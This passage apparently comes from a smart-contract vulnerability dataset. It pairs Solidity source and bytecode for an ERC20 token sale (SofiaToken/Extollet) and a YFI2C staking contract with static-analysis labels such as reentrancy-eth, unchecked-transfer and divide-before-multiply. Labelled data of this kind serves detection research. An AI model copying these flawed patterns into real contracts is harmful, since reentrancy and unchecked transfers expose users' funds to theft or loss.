03163314612cf05760405162461bcd60e51b8152600401808060200182810382526022815260200180613c7a6022913960400191505060405180910390fd5b600a5415612d38576040805162461bcd60e51b815260206004820152601060248201526f416c726561647920737461727465642160801b604482015290519081900360640190fd5b600c54600160a81b900460ff1615612d8b576040805162461bcd60e51b8152602060048201526011602482015270416c72656164792064697361626c65642160781b604482015290519081900360640190fd5b600b544301600a55565b6005546001600160a01b031690565b600c5460ff1690565b600c5461010090046001600160a01b031690565b60005460ff16612e025760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff1615612e54576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615612ea1576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff1615612ee7576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a5411612f2c576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310612f72576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b336000908152600e6020526040902054811115612fcc576040805162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561302057600080fd5b505af1158015613034573d6000803e3d6000fd5b505050506040513d602081101561304a57600080fd5b5050336000818152600e6020908152604091829020805485900390819055601080548690039055825185815292519093927fa369065c2bc9cea922be2bf705101c039bc3af5575b8548b4d16d6a0b1893e2592908290030190a25050565b60005460ff166130e95760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff161561313b576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615613188576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff16156131ce576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a5411613213576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310613259576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b336000908152600e6020908152604080832054600d90925290912054016132b3576040805162461bcd60e51b81526020600482015260096024820152684e6f20766f7465732160b81b604482015290519081900360640190fd5b336000818152600d6020908152604080832054600e835281842054600154835163a9059cbb60e01b8152600481019790975281830160248801529251919590946001600160a01b039093169363a9059cbb9360448084019492938390030190829087803b15801561332357600080fd5b505af1158015613337573d6000803e3d6000fd5b505050506040513d602081101561334d57600080fd5b5050336000818152600d60209081526040808320839055600e825280832092909255600f805486900390556010805485900390558151848601815291517f1dd395e89b5da0e80f0242ec498fdfcaa6bc77d32b4417d89ec195e160fd7ad89281900390910190a25050565b60005460ff166133f95760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff161561344b576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615613498576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff16156134de576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a5411613523576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310613569576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b336000908152600d60205260409020548111156135c3576040805162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561361757600080fd5b505af115801561362b573d6000803e3d6000fd5b505050506040513d602081101561364157600080fd5b5050336000818152600d6020908152604091829020805485900390819055600f80548690039055825185815292519093927fc4e9f6c43fa16caaa3278b92f5fadf533efad8e8124fa4253fd9490cdc0742b492908290030190a25050565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109cf5780601f106109a4576101008083540402835291602001916109cf565b8015806137285750336000908152600e6020908152604080832054600d909252909120540115155b613770576040805162461bcd60e51b81526020600482015260146024820152734e6f7468696e6720746f2057697468647261772160601b604482015290519081900360640190fd5b80158061378d57503360009081526011602052604090205460ff16155b6137d4576040805162461bcd60e51b8152602060048201526013602482015272416c726561647920576974686472617765642160681b604482015290519081900360640190fd5b336000908152600e6020908152604080832054600d90925290912054011580159061380f57503360009081526011602052604090205460ff16155b156138c357600154336000818152600e6020908152604080832054600d835281842054825163a9059cbb60e01b81526004810196909652016024850152516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561387c57600080fd5b505af1158015613890573d6000803e3d6000fd5b505050506040513d60208110156138a657600080fd5b5050336000908152601160205260409020805460ff191660011790555b50565b60078054604080516020600260018516156101000260001901909416849004601f810182900482028301820190935282825260609460069361395e93928301828280156139545780601f1061392957610100808354040283529160200191613954565b820191906000526020600020905b81548152906001019060200180831161393757829003601f168201915b5050505050611d1e565b600960405160200180806b1131b7b232a730b6b2911d1160a11b815250600c01858054600181600116156101000203166002900480156139d55780601f106139b35761010080835404028352918201916139d5565b820191906000526020600020905b8154815290600101906020018083116139c1575b5050807411161136b2ba3437b229b4b3b730ba3ab932911d1160591b81525060150184805460018160011615610100020316600290048015613a4e5780601f10613a2c576101008083540402835291820191613a4e565b820191906000526020600020905b815481529060010190602001808311613a3a575b5050807f222c2272657475726e416269506172616d65746572734172726179223a000000815250601d0183805190602001908083835b60208310613aa35780518252601f199092019160209182019101613a84565b6001836020036101000a038019825116818451168082178552505050505050905001806c16113932b83630b1b2b9911d1160991b815250600d0182805460018160011615610100020316600290048015613b345780601f10613b12576101008083540402835291820191613b34565b820191906000526020600020905b815481529060010190602001808311613b20575b5050601160f91b815260408051601e19818403018152600190920190529550505050505090565b6012541580613b7b5750601254600f54108015613b7b5750601254601054105b15613b8557610bce565b6013805460ff19166001179055610bce6109da565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613bdb57805160ff1916838001178555613c08565b82800160010185558215613c08579182015b82811115613c08578251825591602001919060010190613bed565b50613c14929150613c18565b5090565b6109d791905b80821115613c145760008155600101613c1e56fe566f7465732048617264204361702072656163686564210000000000000000006765744d696e696d756d426c6f636b4e756d626572466f72456d657267656e63795375727665794f6e6c792050726f78792063616e2063616c6c20746869732066756e6374696f6e214f6e6c79204f726967696e616c2050726f78792063616e2063616c6c2074686973206d6574686f64215374696c6c2077616974696e6720666f7220736574436f6c6c61746572616c4461746120746f2062652063616c6c656421537572766579204e6f7420537461727465642100000000000000000000000000736574436f6c6c61746572616c4461746120616c72656164792063616c6c656421a2646970667358221220cc7f3bf856466276233180424b6f508fe3d144c7a0a548366500787677c07fa564736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,884
0x2F98F37c4BA77Fd1be5B09d89bFE585D78901A45
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Controlled { address public controller; /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } // @notice Constructor constructor() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyController { controller = _newController; } } // ERC Token Standard #20 Interface contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract SofiaToken is ERC20Interface,Controlled { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /* * @notice &#39;constructor()&#39; initiates the Token by setting its funding parameters * @param _totalSupply Total supply of tokens */ constructor(uint _totalSupply) public { symbol = "SFX"; name = "Sofia Token"; decimals = 18; totalSupply = _totalSupply * (1 ether); balances[msg.sender] = totalSupply; //transfer all Tokens to contract creator emit Transfer(address(0),controller,totalSupply); } /* * @notice ERC20 Standard method to return total number of tokens */ function totalSupply() public view returns (uint){ return totalSupply; } /* * @notice ERC20 Standard method to return the token balance of an address * @param tokenOwner Address to query */ function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } /* * @notice ERC20 Standard method to return spending allowance * @param tokenOwner Owner of the tokens, who allows * @param spender Token spender */ function allowance(address tokenOwner, address spender) public view returns (uint remaining){ if (allowed[tokenOwner][spender] < balances[tokenOwner]) { return allowed[tokenOwner][spender]; } return balances[tokenOwner]; } /* * @notice ERC20 Standard method to tranfer tokens * @param to Address where the tokens will be transfered to * @param tokens Number of tokens to be transfered */ function transfer(address to, uint tokens) public returns (bool success){ return doTransfer(msg.sender,to,tokens); } /* * @notice ERC20 Standard method to transfer tokens on someone elses behalf * @param from Address where the tokens are held * @param to Address where the tokens will be transfered to * @param tokens Number of tokens to be transfered */ function transferFrom(address from, address to, uint tokens) public returns (bool success){ if(allowed[from][msg.sender] > 0 && allowed[from][msg.sender] >= tokens) { allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); return doTransfer(from,to,tokens); } return false; } /* * @notice method that does the actual transfer of the tokens, to be used by both transfer and transferFrom methods * @param from Address where the tokens are held * @param to Address where the tokens will be transfered to * @param tokens Number of tokens to be transfered */ function doTransfer(address from,address to, uint tokens) internal returns (bool success){ if( tokens > 0 && balances[from] >= tokens){ balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from,to,tokens); return true; } return false; } /* * @notice ERC20 Standard method to give a spender an allowance * @param spender Address that wil receive the allowance * @param tokens Number of tokens in the allowance */ function approve(address spender, uint tokens) public returns (bool success){ if(balances[msg.sender] >= tokens){ allowed[msg.sender][spender] = tokens; emit Approval(msg.sender,spender,tokens); return true; } return false; } /* * @notice revert any incoming ether */ function () public payable { revert(); } /* * @notice a specific amount of tokens. Only controller can burn tokens * @param _value The amount of token to be burned. */ function burn(uint _value) public onlyController{ require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } /* * Events */ event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed burner, uint value); } contract Extollet is Controlled { using SafeMath for uint; string public name; //Campaign name uint256 public startFundingTime; //In UNIX Time Format uint256 public endFundingTime; //In UNIX Time Format uint public volume; //Total volume of tokens in this Campaign uint public totalCollected; //In WEI uint public totalTokensSold; //Number of tokens sold so far uint public rate; //Rate in WEI SofiaToken public tokenContract; //The token for this Campaign address public vaultAddress; //The address to hold the funds donated /* * @notice &#39;constructor()&#39; initiates the Campaign by setting its funding parameters * @param _startFundingTime The time that the Campaign will be able to start receiving funds * @param _endFundingTime The time that the Campaign will stop being able to receive funds * @param _volume Total volume * @param _rate Rate in wei * @param _vaultAddress The address that will store the donated funds * @param _tokenAddress Address of the token contract this contract controls */ constructor( uint256 _startFundingTime, uint256 _endFundingTime, uint _volume, uint _rate, address _vaultAddress, address _tokenAddress ) public { require ((_endFundingTime >= now) && //Cannot end in the past (_endFundingTime > _startFundingTime) && (_volume > 0) && (_rate > 0) && (_vaultAddress != 0)); //To prevent burning ETH startFundingTime = _startFundingTime; endFundingTime = _endFundingTime; volume = _volume.mul(1 ether); rate = _rate; vaultAddress = _vaultAddress; totalCollected = 0; totalTokensSold = 0; tokenContract = SofiaToken(_tokenAddress); //The Deployed Token Contract name = "Extollet"; } /* * @notice The fallback function is called when ether is sent to the contract, it simply calls `doPayment()` with the address that sent the ether as the `_owner`. Payable is a required solidity modifier for functions to receive ether, without this modifier functions will throw if ether is sent to them */ function () public payable{ doPayment(msg.sender); } /* * @notice `proxyPayment()` allows the caller to send ether to the Campaign and have the tokens created in an address of their choosing * @param _owner The address that will hold the newly created tokens */ function proxyPayment(address _owner) public payable returns(bool) { doPayment(_owner); return true; } /* * @notice `doPayment()` is an internal function that sends the ether that this contract receives to the `vault` and creates tokens in the address of the `_owner` assuming the Campaign is still accepting funds * @param _owner The address that will hold the newly created tokens */ function doPayment(address _owner) internal { // Calculate token amount uint tokenAmount = getTokenAmount(msg.value); // Check that the Campaign is allowed to receive this donation require ((now >= startFundingTime) && (now <= endFundingTime) && (tokenContract.controller() != 0) && //Extra check (msg.value != 0) && ((totalTokensSold + tokenAmount) <= volume) ); //Send the ether to the vault preValidatePurchase(_owner,msg.value); require (vaultAddress.send(msg.value)); require (tokenContract.transfer(_owner,tokenAmount)); // Track how much the Campaign has collected totalCollected += msg.value; totalTokensSold += tokenAmount; emit FundTransfer(msg.sender,tokenAmount,true); return; } /* * @notice Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure{ require(_beneficiary != address(0)); require(_weiAmount != 0); } /* * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function getTokenAmount(uint _weiAmount) internal view returns (uint) { uint preDecimalAmount = _weiAmount.div(rate); uint postDecimalAmount = preDecimalAmount.mul(1 ether); return postDecimalAmount; } /* * @notice `onlyController` changes the location that ether is sent * @param _newVaultAddress The address that will receive the ether sent to this */ function setVault(address _newVaultAddress) public onlyController { vaultAddress = _newVaultAddress; } /* * @notice `onlyController` changes the campaing ending time * @param newEndingTime The new campaign end time in UNIX time format */ function modifyEndFundingTime(uint256 newEndingTime) public onlyController{ require((now < endFundingTime) && (now < newEndingTime)); endFundingTime = newEndingTime; } /* * @dev `finalizeFunding()` can only be called after the end of the funding period. */ function finalizeFunding(address to) public onlyController{ require(now >= endFundingTime); uint tokensLeft = tokenContract.balanceOf(this); require(tokensLeft > 0); require(tokenContract.transfer(to,tokensLeft)); } /* *Events */ event FundTransfer(address backer, uint amount, bool isContribution); }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e55780632c4e722e1461016f5780633cebb82314610196578063430bf08a146101b757806355a373d6146101e857806363b20117146101fd5780636817031b146102125780638edb726d14610233578063b75ece9c1461024b578063c1ad792514610260578063c618a1e414610281578063e29eb83614610296578063e4693e98146102ab578063f48c3054146102c0578063f77c4791146102e8575b6100e3336102fd565b005b3480156100f157600080fd5b506100fa610529565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013457818101518382015260200161011c565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017b57600080fd5b506101846105b6565b60408051918252519081900360200190f35b3480156101a257600080fd5b506100e3600160a060020a03600435166105bc565b3480156101c357600080fd5b506101cc610602565b60408051600160a060020a039092168252519081900360200190f35b3480156101f457600080fd5b506101cc610611565b34801561020957600080fd5b50610184610620565b34801561021e57600080fd5b506100e3600160a060020a0360043516610626565b34801561023f57600080fd5b506100e360043561066c565b34801561025757600080fd5b506101846106a3565b34801561026c57600080fd5b506100e3600160a060020a03600435166106a9565b34801561028d57600080fd5b50610184610817565b3480156102a257600080fd5b5061018461081d565b3480156102b757600080fd5b50610184610823565b6102d4600160a060020a0360043516610829565b604080519115158252519081900360200190f35b3480156102f457600080fd5b506101cc61083c565b60006103083461084b565b9050600254421015801561031e57506003544211155b80156103c95750600860009054906101000a9004600160a060020a0316600160a060020a031663f77c47916040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561039157600080fd5b505af11580156103a5573d6000803e3d6000fd5b505050506040513d60208110156103bb57600080fd5b5051600160a060020a031615155b80156103d457503415155b80156103e65750600454816006540111155b15156103f157600080fd5b6103fb8234610887565b600954604051600160a060020a03909116903480156108fc02916000818181858888f19350505050151561042e57600080fd5b600854604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561049d57600080fd5b505af11580156104b1573d6000803e3d6000fd5b505050506040513d60208110156104c757600080fd5b505115156104d457600080fd5b60058054340190556006805482019055604080513381526020810183905260018183015290517fe842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf69181900360600190a15b5050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b505050505081565b60075481565b600054600160a060020a031633146105d357600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600954600160a060020a031681565b600854600160a060020a031681565b60065481565b600054600160a060020a0316331461063d57600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461068357600080fd5b6003544210801561069357508042105b151561069e57600080fd5b600355565b60025481565b60008054600160a060020a031633146106c157600080fd5b6003544210156106d057600080fd5b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d602081101561076057600080fd5b505190506000811161077157600080fd5b600854604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156107e057600080fd5b505af11580156107f4573d6000803e3d6000fd5b505050506040513d602081101561080a57600080fd5b5051151561052557600080fd5b60045481565b60055481565b60035481565b6000610834826102fd565b506001919050565b600054600160a060020a031681565b6000806000610865600754856108a890919063ffffffff16565b915061087f82670de0b6b3a764000063ffffffff6108bf16565b949350505050565b600160a060020a038216151561089c57600080fd5b80151561052557600080fd5b60008082848115156108b657fe5b04949350505050565b60008282028315806108db57508284828115156108d857fe5b04145b15156108e357fe5b93925050505600a165627a7a72305820bdb92ab9c8fcd9c2e1df4024e0001d1fb92b213bbe593fc8d97a5c4af26767f30029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,885
0x073c81366c196618260f35128bb4446e8318ecfe
/** *Submitted for verification at Etherscan.io on 2021-01-25 */ pragma solidity 0.6.12; // SPDX-License-Identifier: MIT library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YFI2CStakingOnePercent is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // YFI2C token contract address address public constant tokenAddress = 0xdb665ab1D56B6821Aea7ca8F3BB2F7d805d4B1E1; // reward rate 365.00% per year uint public constant rewardRate = 36500; uint public constant rewardInterval = 365 days; // 1% per day // staking fee 1.5 % uint public constant stakingFeeRate = 150; // unstaking fee 0.5 % uint public constant unstakingFeeRate = 50; // unstaking possible after 240 hours uint public constant cliffTime = 240 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } uint private constant stakingAndDaoTokens = 250e18; // 250 YFI2C will be staked by owner function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress, "Cannot Transfer Out YFI2C!"); Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637b0a47ee116100b8578063bec4de3f1161007c578063bec4de3f1461057b578063c326bf4f14610599578063d578ceab146105f1578063d816c7d51461060f578063f2fde38b1461062d578063f3f91fa01461067157610137565b80637b0a47ee1461046f5780638da5cb5b1461048d57806398896d10146104c15780639d76ea5814610519578063b6b55f251461054d57610137565b8063308feec3116100ff578063308feec314610315578063583d42fd146103335780635ef057be1461038b5780636270cd18146103a95780636a395ccb1461040157610137565b80630f1a64441461013c5780631911cf4a1461015a57806319aa70e7146102bf578063268cab49146102c95780632e1a7d4d146102e7575b600080fd5b6101446106c9565b6040518082815260200191505060405180910390f35b6101906004803603604081101561017057600080fd5b8101908080359060200190929190803590602001909291905050506106d0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101df5780820151818401526020810190506101c4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610221578082015181840152602081019050610206565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610263578082015181840152602081019050610248565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102a557808201518184015260208101905061028a565b505050509050019850505050505050505060405180910390f35b6102c76109e9565b005b6102d16109f4565b6040518082815260200191505060405180910390f35b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a3b565b005b61031d610f80565b6040518082815260200191505060405180910390f35b6103756004803603602081101561034957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f91565b6040518082815260200191505060405180910390f35b610393610fa9565b6040518082815260200191505060405180910390f35b6103eb600480360360208110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fae565b6040518082815260200191505060405180910390f35b61046d6004803603606081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc6565b005b610477611186565b6040518082815260200191505060405180910390f35b61049561118c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b0565b6040518082815260200191505060405180910390f35b61052161131f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b8101908080359060200190929190505050611337565b005b6105836117a7565b6040518082815260200191505060405180910390f35b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117af565b6040518082815260200191505060405180910390f35b6105f96117c7565b6040518082815260200191505060405180910390f35b6106176117cd565b6040518082815260200191505060405180910390f35b61066f6004803603602081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d2565b005b6106b36004803603602081101561068757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611921565b6040518082815260200191505060405180910390f35b620d2f0081565b6060806060808486106106e257600080fd5b60006106f7878761193990919063ffffffff16565b